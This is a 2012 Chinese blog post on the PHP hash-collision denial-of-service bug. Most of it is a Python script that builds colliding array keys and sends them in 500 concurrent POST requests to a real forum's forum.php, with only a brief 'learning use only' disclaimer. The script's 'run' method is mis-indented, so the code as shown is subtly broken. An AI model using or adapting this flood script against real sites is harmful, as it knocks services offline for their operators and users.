hash code 碰撞bug

dennis , 2012/01/03 15:07 , 杂谈 , 评论(0) , 阅读(613) , Via 本站原创

大 | 中 | 小

�ղص�:

很严重的bug
漏洞详情见
http://bbs.linuxtone.org/thread-17843-1-1.html
附上测试代码一只py写的测试php之用请勿用作非法用途

#!/usr//bin/env python
# -*- coding:utf-8 -*-
#此脚本仅为学习测试之用，请勿用于非法用途
#LinuxTone<<a href="http://bbs.linuxtone.org" target="_blank">http://bbs.linuxtone.org</a>>/dennis
import pycurl
import threading
size=pow(2, 15)
data=''
max=(size-1)*size
key=0
while key < max:
    data=data+'&array['+str(key)+']=0'
    key=key+size
print "Hash End"
data=data.lstrip('&')
import StringIO
def curl():
    c=pycurl.Curl()
    c.setopt(pycurl.TRANSFERTEXT,True)
    c.setopt(pycurl.TIMEOUT,30)
    c.setopt(pycurl.CONNECTTIMEOUT,30)
    c.setopt(pycurl.HTTPHEADER,['Expect:'])
    c.setopt(pycurl.URL,'http://bbs.linuxtone.org/forum.php')
    c.setopt(pycurl.POST,True)
    c.setopt(pycurl.POSTFIELDS,data)
    b = StringIO.StringIO()
    c.setopt(pycurl.WRITEFUNCTION, b.write)
    try:
        c.perform()
    except pycurl.error:
        pass
    c.close()
    b.close()

class curlpool(threading.Thread):
    def __init__(self,count):
        super(curlpool,self).__init__()
        self.count=count

def run(self):
        print "Current Count is:%d" % self.count
        curl()
if __name__ == '__main__':
    thread=[]
    for i in xrange(500):
        thread.append(curlpool(i))
    for i in thread:
        i.start()
    for i in thread:
        i.join()

Tags: hash , ddos

分析了下某webgame

< 2012 > < 2 >
日	一	二	三	四	五	六
			1	2	3	4
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29

dennis的网络记事本

hash code 碰撞bug

公告

分类

日历

链接

其他